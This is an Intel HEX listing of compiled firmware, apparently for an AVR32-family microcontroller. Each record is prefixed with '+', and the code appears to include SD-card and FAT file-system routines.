+:1024E400CFB1E06B00FFFE7C2400F01F002DE06BF9 +:1024F40000FFFE7C2400F01F002AE06C00FFF01FA8 +:1025040000294A58B08CF9DCC005585CC140E06B26 +:1025140000FFFE7C2400F01F0022E06B00FFFE7C25 +:102524002400F01F001F301BFE7C2400F01F001B42 +:10253400E3CF80E0E06B00FFFE7C2400F01F001876 +:10254400E06B00FFFE7C2400F01F0015301BFE7CB6 +:102554002400F01F001248E87009F2C9FE00910936 +:10256400300730A6C0682FF75C87EC071900C060FD +:10257400F01F0004CF90E3CF90E0E3CF80E00000B1 +:10258400800022408000309200000412000000F01D +:10259400800022D800000424800030DE800031C690 +:1025A4008000220CEBCD40C0F01F001CC031E3CFF3 +:1025B400C0C0301BFE7C2400F01F0019300B33AC6C +:1025C400F01F00184988B08C580CC080301BFE7C6A +:1025D4002400F01F0016E3CFC0C0E06C00FFF01F22 +:1025E40000141896E06C00FFF01F001148E7AE8C51 +:1025F400E06C00FFF01F000EAE8CE06C00FFF01FDB +:10260400000CAE8C301BFE7C2400F01F0008F9D6B1 +:10261400C0C1E3CD80C00000800022408000309221 +:10262400800022D800000424800030DE8000220CC8 +:10263400EBCD4080F01F0027C031E3CFC080301BBA +:10264400FE7C2400F01F0024E06B01AA308CF01FF4 +:1026540000234A38B08CE21C0004C080301BFE7C8E +:102664002400F01F0020E3CF8080E06C00FFF01F07 +:10267400001E49B7AE8CE06C00FFF01F001BAE8C4F +:10268400E06C00FFF01F0018AE8CF9DCC001C081C3 +:10269400301BFE7C2400F01F0013E3CFC080E06CED +:1026A40000FFF01F001148E8B08C3AA8F00C1800A5 +:1026B400C080301BFE7C2400F01F000AE3CFC080E2 +:1026C400301BFE7C2400F01F0007E3CF9080000045 +:1026D4008000224080003092800022D80000042430 +:1026E400800030DE8000220CEBCD40F8201D1893D2 +:1026F400F01F0048E080008A301BFE7C2400F01F9D +:1027040000464C6811893038F0091800C0A14C48C3 +:10271400700BA99B311CF01F00434C38B08CC0884F +:102724004BF8700B311CF01F003F4BF8B08C4BE89A +:1027340011893008F0091800C120301BFE7C2400E8 +:10274400F01F003A300CC61820175C87C0E1301B1C +:10275400FE7C2400F01F0035300CC578E06775302E +:10276400E06500FF4B043FF60A9CF01F0031A88C83 +:10277400EC0C1800CEA03FE8F00C1800C0E0E06BB1 +:1027840000FFFE7C2400F01F002B301BFE7C240085 +:10279400F01F0026300CC3980697E6C5FE00E064DF +:1027A40000FFFE762400FAC3FFFE089B0C9CF01F7A +:1027B4000021069B0C9CF01F00209A180EC80A37B3 +:1027C400CF5149787009F2C9FE009109E06B00FF0E +:1027D400FE7C2400F01F0017E06B00FFFE7C240049 +:1027E400F01F0014E06B00FFFE7C2400F01F0011BA +:1027F400E06B00FFFE7C2400F01F000E301BFE7C0B +:102804002400F01F000A301C2FFDE3CD80F80000E7 +:10281400800022408000309200000412000000F08A +:10282400800022D800000424800030DE8000220CC6 +:10283400800031C6800031E2EBCD40FC201D1892AF +:10284400F01F0032C5F0301BFE7C2400F01F003066 +:10285400300B309CF01F002F4AF8B08C580CC0810C +:102864003007E06400FF10933FE63095C178301BD9 +:10287400FE7C2400F01F002930094A98B089300CEE +:10288400C418EA071800C081301BFE7C2400F01F26 +:102894000023300CC3782FF75C57089CF01F0021ED +:1028A400A68CEC0C1800CEE13007E06500FFFE7644 +:1028B4002400FAC4FFFE0A9B0C9CF01F001B089B1B +:1028C4000C9CF01F001A9A18E4070B082FF75907FD +:1028D400CF31E06B00FFFE7C2400F01F0013E06B9F +:1028E40000FFFE7C2400F01F0010E06B00FFFE7C64 +:1028F4002400F01F000D301BFE7C2400F01F000795 +:10290400301C2FFDE3CD80FC8000224080003092FB +:10291400800022D800000424800030DE000001087A +:102924008000220C800031C6800031E2D431FEFBED +:10293400026AE6681A809718FEF80264700AFE7C40 +:102944002400F01F0098301BFE7C2400F01F00962A +:102954003007E06600FFFE7524000C9B0A9CF01F04 +:1029640000932FF758A7CFA1301BFE7C2400F01F43 +:1029740000903008FEF9023CB288FEF9023AB288AF +:10298400300B169CF01F008DFEF80234B08CE06B07 +:1029940000FFFE7C2400F01F00853017FEF60220A5 +:1029A40030153003E06200FFFE7124003654C10884 +:1029B400069B069CF01F0081AC8C049B029CF01FBC +:1029C400007B2FF75C87E8071900E08000E50D889D +:1029D400EA081800CEE1F01F007B5BFCE08000DC1D +:1029E400581CC05130294F48B089C4C8300B337CBF +:1029F400F01F00724F27AE8CE06B00FFFE7C2400BA +:102A0400F01F006A300B329CF01F006CAE8CE06B40 +:102A140000FFFE7C2400F01F00650F88E21800FE12 +:102A2400C05130194E48B089C2D830094E28B089F7 +:102A3400300B169CF01F00614E18B08CE06B00FF49 +:102A4400FE7C2400F01F005930174DD6301530039A +:102A5400E06200FFFE7124003654C108069B069C08 +:102A6400F01F0056AC8C049B029CF01F00502FF703 +:102A74005C87E8071900E080008F0D88EA081800D9 +:102A8400CEE130074CC430150E9333704CC6E0626F +:102A940000FFFE7124000988EA081800C110C06311 +:102AA4003029F2081800C291C198069B301CF01F0F +:102AB4000043AC8C049B029CF01F003CC1E8069BC5 +:102AC400009CF01F003E069B329CF01F003CAC8C27 +:102AD400049B029CF01F0035C108069B009CF01F5C +:102AE4000037300BEA1B4000329CF01F0034AC8CE2 +:102AF400049B029CF01F002D2FF75C87FE78C350C7 +:102B0400F0071900C4800D893008F0091800CC4181 +:102B14004A9811893028F0091800C0A1F01F002A32 +:102B24005BFCC390581CC04130394A38B089300B23 +:102B340033BCF01F00224A27AE8CE06B00FFFE7C02 +:102B44002400F01F001AE06B0200310CF01F001B80 +:102B5400AE8CE06B00FFFE7C2400F01F00140F8994 +:102B64003008F0091800C171498CF01F0019C130F8 +:102B7400F01F0018301948F8B089488BE0681B0032 +:102B8400EA1800B797184868700AFE7C2400F01F02 +:102B94000005DA3AD83A0000000000F4000001040D +:102BA4008000310880003092800031C6800030DE21 +:102BB4000000010800000412800023A00000042487 +:102BC40080002634800025A8000004148000283CDE +:102BD40080002100D401F01F00093018F00C180007 +:102BE400C020D80A486811893008F0091800C020AC +:102BF400DA0AF01F0004D802800023E00000010874 +:102C040080002930EBCD4010FAC4FFF84888910CBD +:102C14004888E8EA0000F0EB0000E8EA0008F0EB7E +:102C24000008F01F0005E3CD80100000000001043F +:102C3400000000F4800029305EFD5EFDD40149B837 +:102C440011883019F2081800C170C0633029F208E5 +:102C54001800C261C20830094958B089F01F001534 +:102C64003018F00C1800C030302CD802301948F855 +:102C7400B089303CD802F01F000F3018F00C180057 +:102C8400C021D80A30294898B08930094888B089C9 +:102C9400303CD80230094858B089302CD802300969 +:102CA4004828B089303CD8020000000C000001081C +:102CB40080002BD8D401F01F0002D80280002930F4 +:102CC400EBCD40C018961697F01F001249281189C1 +:102CD4003008F0091800C031F01F001048E81189CD +:102CE4003018F0091800C040302CE3CD80C00C9C93 +:102CF400F01F000B0E9CF01F000BC061F01F000AB8 +:102D0400302CE3CD80C0F01F0008E3CF80C000006A +:102D1400800023E00000010880002CB88000229885 +:102D24008000245C80002208EBCD40C018971696E2 +:102D3400F01F0011491811893008F0091800C0313A +:102D4400F01F000F48D811893018F0091800C0404E +:102D5400302CE3CD80C00E9CF01F000AC0A00C9C58 +:102D6400F01F0009C060F01F00095F0CE3CD80C0B4 +:102D7400E3CF90C0800023E00000010880002CB85D +:102D8400800022C0800026EC800022B0EBCD408081 +:102D9400189748C811893008F0091800C031F01F8D +:102DA400000A488811893018F0091800C040302CF6 +:102DB400E3CD8080485870082FF88F08E3CF8080D7 +:102DC4000000010880002CB80000040CFE68140008 +:102DD4007009F3DCD0C191095EFCD703D401E0682B +:102DE4008A3FEA1801F7103CE0880006301CF01F07 +:102DF4000004D802300CF01F0002D80280002DD04D +:102E0400F8081605A968E028F000581BC0D0C06374 +:102E1400582BC100583BC1405EFF3019F20C0949E0 +:102E2400916991A9C1283019F20C0949915991A9C4 +:102E3400C0C83019F20C094991699199C0683019D8 +:102E4400F20C0949915991993019F20C094C912CC1 +:102E54005EFDD703D42118971694580BC031300562 +:102E6400C0D830060C950F9B0F8CF01F0006184538 +:102E74002FE72FF60C34FE9BFFF80A9CD8220000A3 +:102E840080002E04F8081605A968E028F0001699B9 +:102E9400E2190004C0703019F20C0949F1490074B8 +:102EA400C0683019F20C0949F14900781699E21901 +:102EB4000080C2401699E2190180C0903019F20CCA +:102EC4000949F14900A8F14900B8C1881699E219E5 +:102ED4000280C0903019F20C0949F14900A4F1496B +:102EE40000B8C0C81699E2190380C0803019F20CEA +:102EF4000949F14900A8F14900B4F3DBC001C1500C +:102F0400E21B0002C0703019F20C0949F149005467 +:102F1400C0683019F20C0949F14900583019F20C13 +:102F24000949F1490044C0683019F20C0949F149D2 +:102F340000483019F20C094C911C5EFCF808160587 +:102F4400A968E028F0007188F00C0A4CF9DCC00193 +:102F54005EFCC008F60816054899F2080039F7DB4C +:102F6400C0057219F20B092CF5DAC0024859F20AAD +:102F7400032AFE790800F208092A5EFC80007E40DC +:102F840080007D3CD4214918E3B80001490E300784 +:102F94000E94490C49087005FE760800C10808988B +:102FA4007C1B7C0AF608092C2FF8103AFE9BFFFCC8 +:102FB400EC0709252FF72F8E5927C0507C08580895 +:102FC400CEF1CF7BD822000080007C0080007E40C0 +:102FD40080002F5680007D3CFE780800E069008365 +:102FE400F20C010CF00C0329F2CAFFC0F00A03280A +:102FF4005808C0215EFDF0081200485AF40900394F +:10300400F008111F7219F208032C5EFC80007E4048 +:10301400F8081601100BF60C0D0A149CF4C80001F4 +:103024005C8CE04800FF5E3C5E2EF739000D3018E2 +:10303400F0091800E0880004302C5EFCE068008091 +:10304400990878183019F1D9D001F739000DF1D960 +:10305400D0813009F1D9D0E130FAF1DAD2049918EB +:103064005EF9D4013018F00B18005FBEF00A1800A6 +:103074005FB8FDE81008C030302CD8027818F1DBB6 +:10308400D021F1DAD041F1D9D3089918D80A7818A7 +:10309400EA18000F99187818E2180004C0F030E814 +:1030A400F00B1800E08B00197818B16BEA1BFFF0E5 +:1030B400E81BFFFF106B991B5EFD3038F00B180006 +:1030C400E08B000B78182F0B3019F20B094B5CDBEB +:1030D400106B991B5EFD302C5EFCE0683A98C0587A +:1030E4005808C0215EFF20187849E2190200CF90E9 +:1030F4007818EA18000F99183008EA18010099089E +:103104005EFDD703EBCD40F818951697F736000C03 +:103114003038F0061800E08B004DF734000B3018FF +:10312400F0041800E08B0046F73300083078F00311 +:103134001800E088003F3108F0031800E08B003AE3 +:10314400149B6E1CF01F001DC3453008EC091601CA +:10315400F1D9D001EC160001F1D6D021F1D4D0611F +:103164002083F1D3D084F1DCD108EF390009F1D9FF +:10317400D208EF39000AF1D9D3080F89301AF409BB +:103184001800C0E0C0A3302AF4091800C0C0303AC7 +:10319400F4091800C0E1C0A88BC8E3CF80F88BD82D +:1031A400E3CF80F88BE8E3CF80F88BF8E3CF80F8A7 +:1031B400302CE3CD80F800008000301430189908DA +:1031C4005EFCE0683A98C0585808C0215EFF201899 +:1031D4007849E2190002CF905C7B993B5EFDE06880 +:1031E4003A98C0585808C0215EFF20187849E2195F +:1031F4000201E0490201CF717828B6085EFDFE683D +:1032040000007009A7D991097009F9DCC007E01919 +:10321400FF80F9E9100991097009A7B991095EFCC9 +:10322400FE680000700CF9DCC0075EFCFE6800005C +:10323400708CF9DCC06B5EFC4828912CB06B5EFC92 +:1032440000000428F1DCC004A368E038FE40700CE0 +:10325400F9DCC2615EFCD703D401F9DCC004301888 +:10326400F00C1800E0880003D80AF8C80001A5682B +:103274004929F2080008A36CFE6A01C0F80A000993 +:103284007209E6190008C0517009E6194000C140EE +:103294007009300AF3DAD3C19109E03CFDE0E86932 +:1032A4000000990970095809C074F3DAD3E191094F +:1032B40070385D18DA0ADA0A000001B43059485847 +:1032C4009109E8690000FE6801F091095EFC0000C4 +:1032D400000001C8D401484870485808C0205D184F +:1032E400D802000000000428D40116997808580870 +:1032F400C0B4300AF1DAD3E1990878385808C040EC +:10330400782B129C5D18D802D401F1DCC00420187B +:10331400A568301B483C100CF01F0003D8020000C5 +:10332400000001B4800032ECD401F1DCC004301997 +:10333400F2081800E0880003D80AF0091502FE6BB1 +:1033440001C0F20B000A740AE21A1000C0C020186F +:10335400A56848B9F20800087009301AF3DAD3C135 +:103364009109C098E039FE10E86800009308E46809 +:1033740000009308F01F0003DA0A0000000001B403 +:103384008000330CD401FE690000727BF1DCC004C0 +:10339400301AF408094A5CDA166A937AA368E038AA +:1033A400FF007009A1D99109F01F0002D8020000A2 +:1033B4008000330CEBCD40E0F1DCC0043019F2089E +:1033C4001800E08B0078FE690000727E3019F20864 +:1033D4000949F3EE000EC6E1FDDBC002581EC6A586 +:1033E400582EE08A0006583EC6513006C0283016D2 +:1033F400F00E1502E03EFF007C075C7A3085F40590 +:103404000C4AE0650400F4050D4AA17A201AF40A76 +:103414001200F9DCC0E1AB7BE21B1800F7EC108C66 +:10342400F40B111CF9EB104BF7E6102BE21B197C83 +:103434000E9AE01AE683F7EA100A9D0AF9D9B01049 +:103444005808C121FE6900007279E2190002C0C067 +:10345400A1BCFE690000727AA1DA937AFE690104C4 +:10346400720AA1DA930A5C7CFE6E000030163017F3 +:10347400F8080849F3D9C001C150F0091502FE65E6 +:103484000100F205000B7605A1B597057C7BEC08DD +:10349400094A164A9D7AE039FED07209E6190004F9 +:1034A400C0902FF85C58EE081800FE98FFE3E3CFB5 +:1034B40090E0E3CF80E0D703580CC111491811897B +:1034C4003008F0091800C1A0E1B90000D30348E8AE +:1034D400119A2FFAB09AE3B90000C10848981189EB +:1034E4003008F0091800C0A1E1B90000D30348680E +:1034F400119A201AB09AE3B900004828B08C5EFCF7 +:10350400000001C400000750E1B80000D303301AE2 +:10351400FE690220930AE3B800003029FE680160C6 +:1035240091094859300893489358B2684839930828 +:103534005EFC000000000428000001C8303948A8DF +:103544009109E1BB0000D303FE6A016030199509BB +:10355400FE6801F09109308995099109E3BB0000E7 +:103564005EFC0000000001C8FE6800007009E0195C +:10357400FF8091097009A7B99109FE690100720BD6 +:10358400308AF40A0C4AE06C0400F40C0D4AA17A67 +:10359400201AF40A1200F40A111CA56AE21A197C12 +:1035A400E01BE683164A930A720AA1BA930A707959 +:1035B400A1A99179E1BA0000D303FE6901F0304B6F +:1035C400930B302B930BE06910009169E3BA000070 +:1035D4005EFCD703EBCD40C0E1B60000D303301C42 +:1035E400F01F0017FE680000F0F90800AFC9F149A8 +:1035F4000800F0F90804E2194000CFC0FE6700009B +:103604006E08A9C88F08F01F000FF01F000FF01FED +:10361400000F308B8F6B30198F6931088F68304AF7 +:103624008F6A8F2B8F2A8F398F28EEF80800AFA866 +:10363400EF480800E3B60000E3CD80C0800034BC4E +:10364400800071108000356C8000350CEBCD40801B +:10365400E1B80000D303301AFE690220930AE3B8EC +:1036640000004C3870085838C071F01F0042F01F39 +:103674000042E3CD80804C1890684C199207F00703 +:1036840001075C87C3B14BF9138A3009F20A1800A9 +:10369400C12130494B689109E1B90000D3033108D5 +:1036A400FE6A01609508FE6A01F09508E3B900001E +:1036B400E3CD80804B1992B95C784B3A948A140814 +:1036C4001039E08900084AD8705C580CC0305D1C81 +:1036D400C05130094AB8B089C1184AB94A88900B18 +:1036E400920AF60A000AB20A3009B0094A38906709 +:1036F400F1D7C0035F094A38B0894A08702A4A08DA +:103704009009E1BB0000D303FE6801307008E218A1 +:103714000002C0913088F0071900F9B70B08580768 +:10372400C091C158E3BB0000304949189109E3CD69 +:1037340080805C79F40900093008EA18D000133A53 +:1037440010CAF5D8C008EE0A1900CFA348C89009DA +:10375400F2070007B0073018FE6901609308FE699C +:1037640001F09308E3BB0000E3CD8080000001C8B2 +:10377400800032D88000350C00000428000001C607 +:10378400000001CC000001B0EBCD40C0F01F0037B9 +:10379400E1B60000D303FE670000EEF80800AFD8DE +:1037A400EF480800EEF80800300AE06B02204B0CEA +:1037B400F01F0030EEF80800B9B8EF480800EEF842 +:1037C4000800B9C8EF480800EEF80800ADC8EF4893 +:1037D4000800EEF80800ADA8EF480800EEF808006D +:1037E400AFB8EF480800EEF80800AFC8EF4808008B +:1037F400EEF808000E99F2F80804E2184000CFC071 +:1038040049D8700A3009F5DAC01FF5D9D3C1910A35 +:10381400FE680000700AADCA910A700AE81A0C002A +:10382400910AF0FA0800A1BAF14A0800F0FA080077 +:10383400AFAAF14A0800FE780C00F0FA0144301BEC +:10384400F5DBD001F14A014448C8B089E1B9000070 +:10385400D30348B811BA2FFAB0BAE3B90000E3B6FB +:103864000000E3CD80C0000080006A4C80003990E5 +:1038740080002F58000001B4000001C4000007506C +:10388400EBCD40FCFDDCC0043017EE0E1800E08BDD +:103894000074FE6700006E761C953017EE0E094723 +:1038A4000C67C6A0FC071502FE6401C0EE04000606 +:1038B4006C06E6160008C601FCC60001A5664B347A +:1038C400E80600066C04E6144000C561E1B300009C +:1038D400D3036C045804C054E3B30000E3CF80FC6A +:1038E400F9DCC0E86C043012E9D2D3E18D04E3B30F +:1038F4000000E049FFFFE0880007E07900008D291F +:103904003009C1188D29580CC0E0FE630100EE0394 +:1039140000046804E9D4C0833083E6040944201415 +:103924001264C2C18D1A8D38A56EE03EFD009D1A49 +:10393400580BC0313008C068580CC0313148C02819 +:103944003088E8180021F1E91109E037FF006E081A +:10395400A9B88F089D29E1B80000D30320153009C8 +:10396400EA190200F2050945FE6900009365E3B80F +:103974000000E3CF90FCE3CF80FC8D1A8D38A56E58 +:10398400E03EFD009D1ACDDB000001B4D401FE68C9 +:1039940000007018E2180004C0903049FE6800006E +:1039A4009129F01F013CE08F0263FE68000070184B +:1039B400E2181000E0800180FE68022031099109BC +:1039C40030899109FE6801307008E2180004C7E0EC +:1039D400FEF804C470085808C050F01F0130F01FEE +:1039E4000130FE6801307008F1D8C28B5888C0904D +:1039F400F01F012C3049FE6801609109E08F023804 +:103A0400FEF804A43009EA19D000720A910A304978 +:103A1400EA19D00072095CCAB01AF20A14105CCA1E +:103A2400B02A5CC9B039F01F0121C091F01F011DFB +:103A34003049FE6801609109E08F021A3049FE683E +:103A440001609109FEF8046011893008F00918003A +:103A5400C194FEF8045290E8F1D8C0035F09FEF85F +:103A6400044EB0893008FEF9044AB208FEF904484D +:103A7400B2083029FEF804209109F01F0110E08FEC +:103A840001F7FEF8042290393008F0091900C051FA +:103A9400F01F010BE08F01EC3008FEF90416B208A8 +:103AA400FEF90414B2083019FEF803EC9109310848 +:103AB400FE6901609308E1B90000D303FE6A01F0D6 +:103AC4009508E3B90000E08F01D3FE680130700867 +:103AD400F1D8C001C0B0FE6801C07008F1D8C001BF +:103AE400C050F01F00F6E08F01C3FE68013070087B +:103AF400E2180002E08000A1FEF8039C7008581848 +:103B0400C11058285F0958485F08F3E81008C040FE +:103B1400F01F00E2C038F01F00E3F01F00E1E08F67 +:103B240001A7FE680130700BF7DBC28BFEF8037847 +:103B34009069FEF803829008F9D9C010F5D8C01036 +:103B4400F60A000A143CC0441019F7D9B010FEF963 +:103B540003567229580BE08001915C7810093008F3 +:103B6400EA18D000113A12CAF5D8C008F60A1900AA +:103B7400CFA3FEF90342920816085C88B208308984 +:103B8400F20B1900C0E1FEF9031E92BAF7D8C01077 +:103B9400FEF903209289F6090009123AE089001817 +:103BA400FEF90304B268725C580CC0A05D1CC081AD +:103BB400F01F00BC3029FE6801609109C5893029D5 +:103BC400FE6801609109F01F00BEC519FEF902D814 +:103BD4009269F0091900C211FEF802CC705C580C0D +:103BE400C081F01F00B03029FE6801609109C3F95B +:103BF4005D1CC081F01F00AB3029FE680160910993 +:103C0400C369FEF902AEFEF802AE900B920AF60A00 +:103C1400000AB20A3009B009FE690160302893082D +:103C240031089308E1B90000D303FE6A01F0950856 +:103C3400E3B90000C1C9FE6801307008E218000849 +:103C4400C1803089FE6801609109FE680130700806 +:103C5400F1D8C001E081010CFEF8023C700858382C +:103C6400E0810106E8690000FE6801F09109CFF8DF +:103C7400FE6801307008E2180010C1D03109FE68F6 +:103C840001609109FE6801307008E2180002E081C9 +:103C940000EFFEF8020270085818C041F01F0088B7 +:103CA400CE685848E08100E4E8690000FE6801F04D +:103CB4009109CDD8FE6800007048E6180200C300E0 +:103CC400FE6800007018E6180200C2A03009EA1964 +:103CD4000200FE6800009159FE68031070394F9885 +:103CE400B189702A121A912AFE6801047008E21838 +:103CF4000100C071FE6801047009A9D99109C0B816 +:103D0400E0692000FE6800009169E0691000FE6827 +:103D140001F49109300B4EBCF01F006BCA88FE6899 +:103D240000007048E2182000E08000ACFE68013416 +:103D34007008F1D8C182E08100A5E0691000FE6836 +:103D440002249109E0692000FE68000091594DD8D1 +:103D540070085808C065FE6801047009A9D9910962 +:103D64004D887009F3D9C3C13008F0091800C7F0B1 +:103D74004D487009300AF3DAD3C19109FE6801F4A1 +:103D8400E86900009109E46900009109C7083089D5 +:103D9400FE6800009129301B4CACF01F004BF01F53 +:103DA400004BF01F004BF01F003EC618FE680000D9 +:103DB4007048F1D8C001C1D0FE6800007018F1D875 +:103DC400C001C170FE680000F0F90800AFC9F149F4 +:103DD40008003019915931099169F0F90800AFA927 +:103DE400F1490800300CF01F003BF01F003BC3F802 +:103DF400FE6800007048E2180010C230FE6800003F +:103E04007018E2180010C1D0FE680000F0F9080034 +:103E1400AFC9F1490800C0587019F3D9C001C06195 +:103E2400F0F90804E2194000CF80FE68000031096F +:103E34009159301C916CF01F0027F01F0028C178A5 +:103E4400FE680000F0F80804E2180002C100FE68F1 +:103E54000000F0F90800AFC9F14908003029F14920 +:103E64000808F0F90800AFA9F1490800FE6800004D +:103E7400F0F80818D402D60348F9B208FE9FFE925F +:103E8400FE6800007018E2180008C910C81B000082 +:103E9400800079BC000001C8800032D88000350C55 +:103EA400800032C00000042880007180000001CC32 +:103EB400000001B0000001C680003650800035408B +:103EC400000001B4800032EC800071108000356C79 +:103ED400800034BC800076EC8000765C48681189F0 +:103EE4003008F0091800C0205EFF31794838B089E5 +:103EF4005EFD000000000444000006D448689019E8 +:103F04003FF8F0091900C0205EFF30F94838B08945 +:103F14005EFD0000000006D0000006D4485811A839 +:103F2400E2180018C0215EFF31394838B0895EFDBF +:103F340000000444000006D4496870185808C021E1 +:103F44005EFF49591389303AF4091800C0A1E069A9 +:103F5400FFF7EA190FFF1238E08B00195F0C5EFCC3 +:103F6400302AF4091800C071E048FFF7E08B000F15 +:103F74005F0C5EFC301AF4091800C0205EFDE048B6 +:103F84000FF7E08B00045F0C5EFC302C5EFC00003D +:103F940000000724000006D0300A4888B08A488808 +:103FA4003019B0893FF9B0A9B099F16A0014F169E8 +:103FB4000016F16900155EFC000006D600000458E6 +:103FC40048C91388F80818005F1848BAB488F00A7A +:103FD4001502100AF20A0028B08C3FFBB0AB2FFA8E +:103FE400486B760BF20A092B4859721991295EFC29 +:103FF40000000458000006D6000007240000072C27 +:1040040049881188498AF008002BF40B002B178982 +:10401400179B158AF20A1800C0A1493A159AF40BA5 +:104024001800E08800052FFA48FCB89A48EAF53AE7 +:104034000014F20A1800C0C148B9F3390015F20B94 +:104044001800E08800062FF9487AF5690015F00891 +:1040540000284859F20800283009B0995EFC000095 +:10406400000006D600000458EBCD40C04908118872 +:10407400F008002848F9F2080028F0CAFFF848EBD5 +:1040840017977409F2070D060E995C59178BB0AB9C +:10409400740B121B950B489A740B121B913B741AE8 +:1040A40014099149F01F0006E3CD80C0000006D634 +:1040B40000000458000006840000072C800040041F +:1040C400EBCD40C04C1811894C18700A4C18701B69 +:1040D4004C181188F8081800C1114BF811A8F208FF +:1040E4001800C0C14BC870181438C0814BA8702880 +:1040F400103BC043300A1499C1884B78F13800143E +:10410400F8081800C5E14B48F1380016F208180009 +:10411400C5814B1870681438C5414AF87078163850 +:10412400E08B0050301A1499F20E1502120E4AACAC +:10413400F80E002C784CF6080108103CE0880016B4 +:104144004A4BF20E1502FC0900094A3EFC090029FB +:104154007239F00900099709101C971C49F8B08AB4 +:10416400F01F001FE3CF90C049C8B08AF2081502BF +:10417400F00900094988F00900283FF9B0A9704CFA +:10418400492A1599703EF80E000E201E7457FC073C +:104194000107744A1417EE090D060C972FE748CA55 +:1041A40095072F88700A140CF8C70001EE090D0654 +:1041B400AD39488AF60901099519910BE3CF80C0FE +:1041C400F01F0008E3CF80C000000684000007242D +:1041D4000000072C00000458000006D680004004AC +:1041E40080003FC430D94848B089484811ACE21C2B +:1041F40000105EFC000006D4000004443FF948C8E7 +:10420400B01948C8F1590024F139002D3008F009DB +:104214001800C05110994878F169002C4868300999 +:10422400B0A9300A911A912AB0895EFC000006D028 +:1042340000000684000004443008F00C19005F0AF2 +:1042440035C9F20C19005F09F5E91009F0091800E5 +:10425400C0205EFF32F8F00C19005F0C5EFCD7033F +:1042640048489098A578F1D8C009483C100C5EFCE9 +:10427400000006D000000484D431203D1897169520 +:1042840014965009F01F006519883009F2081800C7 +:104294005F0B3E5AF40818005F0AF7EA100AF20AA4 +:1042A4001800C071F93A000B30F9F20A1800C06026 +:1042B40030B94DB8B089300CCA984DA9138A300969 +:1042C400F20A1800C090E2180040C06131094D485C +:1042D400B089300CC9B82FFC3008FACBFFF6301186 +:1042E40030094D0220155015198AB69A199AB68AC2 +:1042F400E2061800C0F1058AF20A1800C401401E43 +:104304001C38C0553008AE88301CC8089A5AAE8A8A +:10431400C3680F8A32A5EA0A1900C7709A5E580E5C +:10432400C0E135C5EA0A19005F1432F5EA0A19003A +:104334005F15E9E50005F2051800C260E9DAC0106E +:10434400E7DEC0104005F20518005F15E6C0FFE087 +:1043540000345F10EBE01000F2001800C1002203EB +:1043640006345F140845F2051800C090FC0A1900D1 +:10437400C06031694AA8B089300CC4889A5A300E9A +:10438400FC0A1900C0B14A79138A3009F20A1800EC +:10439400C3C02FF8AE08301CC398304AF408180084 +:1043A400C0312FDCC27830AAF4081800C0312FECD9 +:1043B400C21830CAF4081800C1D1F938FFE2E21873 +:1043C4000040C06131094968B089300CC1F8301827 +:1043D400F0061800C0B1493811893008F0091800F6 +:1043E400C17030E8AE08301CC1180F9CF01F000EDD +:1043F400C0D8058AEECEFFFFF20A1800FC071700AA +:104404002FF85C582FECC71B301C2FDDD832300836 +:10441400AE98301CCFBB000080004264000006D47C +:10442400000006D58000423CD431203D1897502B23 +:10443400149631694C08B089F01F00403008109E72 +:10444400301230B33085300A3014E6081800C20048 +:10445400F8080709EA0818005F00F40218005F1B57 +:10446400E1EB000BF40B1800C051320BF6091800F5 +:10447400C101EA081800E08B000CF9390008320188 +:10448400E2091800C050307832E93002C0283009FF +:10449400E8061800C1714AAB178BF40B1800C2E18F +:1044A400402B201B163EC0353009C0A8F2C0004185 +:1044B400319BF6001800E08B00042E095C59AE898C +:1044C400C1D80F8B32A0E00B1800C3105809C0D11B +:1044D40035C0E00B18005F1132F0E00B18005F10DC +:1044E4000061F4011800C0C0F20B1800C070F2C0E3 +:1044F400FFE0003BC030300CC1B85809C0B14908D6 +:1045040011893008F0091800C1202FFEAE0E301CAE +:10451400C0F848B91389EECBFFFFF4091800F60779 +:1045240017002FFE5C5E2FF85C58C90B301C2FDD82 +:10453400D8320000000006D480004264000006D592 +:10454400D401F01F00104908F939000BB0A9F8CACA +:10455400FFECF0C9FFFC158BB29B159AB28AF8CA1E +:10456400FFE6158BB2BB159AB2AA2E4C2F88198977 +:10457400B0B91999B0A919A9B09919B9B089D802D3 +:104584008000426400000444EBCD40801897F01F83 +:10459400001719885808C06130A94958B089E3CF79 +:1045A400808030BA4929B28A3E59F2081800C1A065 +:1045B40032E9F2081800C160F938000B1099E219C9 +:1045C4000008C101E2180010C0703008F00718009C +:1045D4005F0CE3CD80803018F00718005F0CE3CD4A +:1045E4008080E3CF8080000080004264000006D415 +:1045F40048583FF9B0893009F16900083FF9913909 +:104604005EFC00000000070C30194838F16900080E +:104614005EFC00000000070CD401F01F0011F01F25 +:104624000011491811A9F969000BF8CAFFECF0C987 +:10463400FFFC139BB48B138BB49BF8CAFFE613BB2C +:10464400B48B13A9B4992E4C2F8811B9B88911A928 +:10465400B8991199B8A91188B8B8D8028000460C45 +:104664008000426400000444498811893008F0093C +:104674001800C2A04968118949681188F009180016 +:10468400C23149387089493870881039C1D14928F4 +:10469400901948E89018F0091900C161580CC0B08D +:1046A40048E811893008F0091800C0E0328948C888 +:1046B400B0895EFD48981188E2180002C050329912 +:1046C4004878B0895EFD5EFF000006CC00000684D9 +:1046D400000006D8000006D0000006BC000006D486 +:1046E400D42120DD580CC5A01A974AE8F0EA00004E +:1046F400FAEB0000F0EA0008FAEB0008F0EA001018 +:10470400FAEB0010F0EA0018FAEB0018F0EA0020C7 +:10471400FAEB0020F0EA0028FAEB002870C950C92F +:10472400F8C600015C56EC04103449F91204334510 +:104734000A9A089B109CF01F001D0A9A1A9B089C59 +:10474400F01F001A49ACF8E80000FAE90000F8E8A4 +:104754000008FAE90008EC0415044968100431055E +:104764000A9A089BF01F00110A9A1A9B089CF01FD2 +:10477400000F491430450A9A089B1A9CF01F000B3D +:1047840048E8F00600260A9A0C9B089CF01F0007D4 +:104794000A9A1A9B0C9CF01F00052F3DD82200009A +:1047A40000000684000006D8800079FA0000044462 +:1047B400000006BC000006D0000006CCD401490865 +:1047C400F13900083018F0091800C18148C83009CF +:1047D400F1690008118CF01F000BC050314948A842 +:1047E400B089D80A4868489A701B118CF01F0008D9 +:1047F400C05030194848B089D80ADA0A0000070CBA +:1048040080006AF0000006D40000048480006B0479 +:10481400D401E06A0200300B482CF01F0003D802D8 +:104824000000048480007B42EBCD408018974978D7 +:10483400118949781188F0091800C0914938701914 +:10484400494870081039C031E3CF9080F01F00123E +:10485400C190F01F001248F8700B48C8911B58070C +:10486400C0C048FA48A8118CF01F000EC06030196F +:1048740048D8B089E3CF8080485811894838B08936 +:10488400301CE3CD808000000000070C000006848B 